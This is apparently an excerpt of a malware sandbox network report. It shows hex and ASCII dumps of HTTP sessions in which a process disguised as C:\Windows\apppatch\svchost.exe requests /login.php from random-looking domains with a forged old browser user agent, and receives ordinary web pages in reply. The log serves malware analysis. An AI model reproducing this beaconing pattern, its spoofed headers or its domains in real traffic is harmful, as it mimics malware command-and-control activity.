                                                                                                                                                                                                          Data Ascii: ng:touch!important}#i-amphtml-wrapper>body{position:relative!important;border-top:1px solid transparent!important}#i-amphtml-wrapper+body{visibility:visible}#i-amphtml-wrapper+body .i-amphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-lightbox]{vi
                                                                                                                                                                                                          2024-11-11 17:13:08 UTC1369INData Raw: 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 5b 73 74 61 6e 64 61 6c 6f 6e 65 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 35 37 35 37 35 7d 61 6d 70 2d 73 74 6f 72 79 20 2e 61 6d 70 2d 61 63 74 69 76 65 3e 64 69 76 2c 61 6d 70 2d 73 74 6f 72 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70
                                                                                                                                                                                                          Data Ascii: 0%!important}amp-story[standalone]{background-color:#000!important;position:relative!important}amp-story-page{background-color:#757575}amp-story .amp-active>div,amp-story .i-amphtml-loader-background{display:none!important}amp-story-page:not(:first-of-typ
                                                                                                                                                                                                          2024-11-11 17:13:08 UTC1369INData Raw: 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 69 6d 67 29 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 2c 5b 6c 61 79 6f 75 74 3d 69 6e 74 72 69 6e 73 69 63 5d 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 74
                                                                                                                                                                                                          Data Ascii: ml-layout-responsive),[width][height][sizes]:not(img):not([layout]):not(.i-amphtml-layout-responsive){display:block;position:relative}.i-amphtml-layout-intrinsic,[layout=intrinsic][width][height]:not(.i-amphtml-layout-intrinsic){display:inline-block;posit
                                                                                                                                                                                                          2024-11-11 17:13:08 UTC1369INData Raw: 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 62 6c 75 72 72 79 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b
                                                                                                                                                                                                          Data Ascii: :none!important}}.i-amphtml-blurry-placeholder,.i-amphtml-fill-content{display:block;height:0;max-height:100%;max-width:100%;min-height:100%;min-width:100%;width:0;margin:auto}.i-amphtml-layout-size-defined .i-amphtml-fill-content{position:absolute;top:0;
                                                                                                                                                                                                          2024-11-11 17:13:08 UTC1369INData Raw: 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 3e 2a 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 68 65 69 67 68 74 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d 67 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d
                                                                                                                                                                                                          Data Ascii: ot(.i-amphtml-layout-container)>*,[layout]:not([layout=container]):not(.i-amphtml-element)>*,[width][height][heights]:not([layout]):not(.i-amphtml-element)>*,[width][height][sizes]:not([layout]):not(.i-amphtml-element)>*{display:none}amp-img:not(.i-amphtm
                                                                                                                                                                                                          2024-11-11 17:13:08 UTC1369INData Raw: 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 31 7d 61 6d 70 2d 69 6d 67 5b 69 2d 61 6d 70 68 74 6d 6c 2d 73 73 72 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 74 62 75 69 6c 74 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 68 69 64 64 65 6e 2d 62 79 2d 6d 65 64 69 61 2d 71 75 65 72 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 65 64 21 69 6d 70 6f
                                                                                                                                                                                                          Data Ascii: :0!important;z-index:1}amp-img[i-amphtml-ssr]:not(.i-amphtml-element)>[placeholder]{z-index:auto}.i-amphtml-notbuilt>[placeholder]{display:block!important}.i-amphtml-hidden-by-media-query{display:none!important}.i-amphtml-element-error{background:red!impo


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          4192.168.2.658899188.114.96.34434888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-11-11 17:13:08 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-11-11 17:13:11 UTC1099INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:11 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          server-timing: amp_sanitizer;dur="163.0",amp_style_sanitizer;dur="96.1",amp_tag_and_attribute_sanitizer;dur="52.7",amp_optimizer;dur="50.0"
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pjYob1fC0Ti83h2e1HNsSkdt0G%2FzptS9nuUYCs1%2FlUO%2F%2B0o6FuYZI9ql28qeoFMtzHvPGk7%2F9H0oYcXSMLlSwdWnXT0EC%2F0%2FD9uhxEJeX1cywuudg%2FlrCKFeT5yMDg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe94729590f42-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1329&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=881&delivery_rate=2234567&cwnd=251&unsent_bytes=0&cid=5cece37b9fce5940&ts=2681&x=0"
                                                                                                                                                                                                          2024-11-11 17:13:11 UTC270INData Raw: 37 63 31 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62
                                                                                                                                                                                                          Data Ascii: 7c13<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
                                                                                                                                                                                                          2024-11-11 17:13:11 UTC1369INData Raw: 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 22 3e 3c 73 74 79 6c 65 20 61 6d 70 2d 72 75 6e 74 69 6d 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 76 65 72 73 69 6f 6e 3d 22 30 31 32 34 31 30 31 36 31 38 30 31 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65
                                                                                                                                                                                                          Data Ascii: <meta charset="UTF-8"><meta name="viewport" content="width=device-width,minimum-scale=1"><link rel="preconnect" href="https://cdn.ampproject.org"><style amp-runtime="" i-amphtml-version="012410161801000">html{overflow-x:hidden!important}html.i-amphtml-fie
                                                                                                                                                                                                          2024-11-11 17:13:11 UTC1369INData Raw: 6c 6f 77 2d 73 63 72 6f 6c 6c 69 6e 67 3a 74 6f 75 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 3e 62 6f 64 79 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c
                                                                                                                                                                                                          Data Ascii: low-scrolling:touch!important}#i-amphtml-wrapper>body{position:relative!important;border-top:1px solid transparent!important}#i-amphtml-wrapper+body{visibility:visible}#i-amphtml-wrapper+body .i-amphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-l
                                                                                                                                                                                                          2024-11-11 17:13:11 UTC1369INData Raw: 6e 74 3b 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 5b 73 74 61 6e 64 61 6c 6f 6e 65 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 35 37 35 37 35 7d 61 6d 70 2d 73 74 6f 72 79 20 2e 61 6d 70 2d 61 63 74 69 76 65 3e 64 69 76 2c 61 6d 70 2d 73 74 6f 72 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66
                                                                                                                                                                                                          Data Ascii: nt;width:100%!important}amp-story[standalone]{background-color:#000!important;position:relative!important}amp-story-page{background-color:#757575}amp-story .amp-active>div,amp-story .i-amphtml-loader-background{display:none!important}amp-story-page:not(:f
                                                                                                                                                                                                          2024-11-11 17:13:11 UTC1369INData Raw: 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 69 6d 67 29 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 2c 5b 6c 61 79 6f 75 74 3d 69 6e 74 72 69 6e 73 69 63 5d 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d
                                                                                                                                                                                                          Data Ascii: ot(.i-amphtml-layout-responsive),[width][height][sizes]:not(img):not([layout]):not(.i-amphtml-layout-responsive){display:block;position:relative}.i-amphtml-layout-intrinsic,[layout=intrinsic][width][height]:not(.i-amphtml-layout-intrinsic){display:inline-
                                                                                                                                                                                                          2024-11-11 17:13:11 UTC1369INData Raw: 2d 61 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 62 6c 75 72 72 79 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f
                                                                                                                                                                                                          Data Ascii: -ar{display:none!important}}.i-amphtml-blurry-placeholder,.i-amphtml-fill-content{display:block;height:0;max-height:100%;max-width:100%;min-height:100%;min-width:100%;width:0;margin:auto}.i-amphtml-layout-size-defined .i-amphtml-fill-content{position:abso
                                                                                                                                                                                                          2024-11-11 17:13:11 UTC1369INData Raw: 2d 6e 6f 74 62 75 69 6c 74 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 3e 2a 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 68 65 69 67 68 74 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d 67 3a 6e 6f
                                                                                                                                                                                                          Data Ascii: -notbuilt:not(.i-amphtml-layout-container)>*,[layout]:not([layout=container]):not(.i-amphtml-element)>*,[width][height][heights]:not([layout]):not(.i-amphtml-element)>*,[width][height][sizes]:not([layout]):not(.i-amphtml-element)>*{display:none}amp-img:no
                                                                                                                                                                                                          2024-11-11 17:13:11 UTC1369INData Raw: 74 61 6e 74 3b 62 6f 74 74 6f 6d 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 31 7d 61 6d 70 2d 69 6d 67 5b 69 2d 61 6d 70 68 74 6d 6c 2d 73 73 72 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 74 62 75 69 6c 74 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 68 69 64 64 65 6e 2d 62 79 2d 6d 65 64 69 61 2d 71 75 65 72 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 7b 62 61 63 6b 67 72 6f 75
                                                                                                                                                                                                          Data Ascii: tant;bottom:0!important;z-index:1}amp-img[i-amphtml-ssr]:not(.i-amphtml-element)>[placeholder]{z-index:auto}.i-amphtml-notbuilt>[placeholder]{display:block!important}.i-amphtml-hidden-by-media-query{display:none!important}.i-amphtml-element-error{backgrou
                                                                                                                                                                                                          2024-11-11 17:13:11 UTC1369INData Raw: 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 61 6d 70 2d 73 74 6f 72 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 3e 61 6d 70 2d 61 6e 61 6c 79 74 69 63 73 7b 70 6f 73 69 74 69 6f 6e 3a 69 6e 69 74 69 61 6c 21 69 6d 70 6f 72 74 61 6e 74 7d 5b 76 69 73 69 62 6c 65 2d 77 68 65 6e 2d 69 6e 76 61 6c 69 64 5d 3a 6e 6f 74 28 2e 76 69 73 69 62 6c 65 29 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 65 72 72 6f 72 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 73 75 63 63 65 73 73 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 74 69 6e 67 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70
                                                                                                                                                                                                          Data Ascii: overflow:hidden!important;visibility:hidden}amp-story{visibility:hidden!important}html.i-amphtml-fie>amp-analytics{position:initial!important}[visible-when-invalid]:not(.visible),form [submit-error],form [submit-success],form [submitting]{display:none}amp


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          5192.168.2.66329999.83.170.34434888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-11-11 17:13:25 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-11-11 17:13:25 UTC352INHTTP/1.1 200 OK
                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000
                                                                                                                                                                                                          Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:25 GMT
                                                                                                                                                                                                          Etag: "g6rslpr6mk19wv"
                                                                                                                                                                                                          Server: Caddy
                                                                                                                                                                                                          Server: awselb/2.0
                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                          X-Powered-By: Next.js
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          2024-11-11 17:13:25 UTC2372INData Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 38 30 78 31 38 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 70 75 62 6c 69 63 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31
                                                                                                                                                                                                          Data Ascii: 8000<!DOCTYPE html><html lang="en-US"><head><meta charSet="utf-8"/><link rel="apple-touch-icon" sizes="180x180" href="https://d15wejze7d2tlj.cloudfront.net/v1/public/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="https://d1
                                                                                                                                                                                                          2024-11-11 17:13:25 UTC1724INData Raw: 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 31 35 35 61 35 35 36 2d 37 32 37 37 64 32 30 35 62 33 61 39 36 64 64 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 37 37 39 62 62 35 65 2d 65 33 34 61 63 36 66 32 62 33 32 65 65 39 62 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f
                                                                                                                                                                                                          Data Ascii: ext/static/chunks/b155a556-7277d205b3a96dd1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/chunks/b779bb5e-e34ac6f2b32ee9b1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/
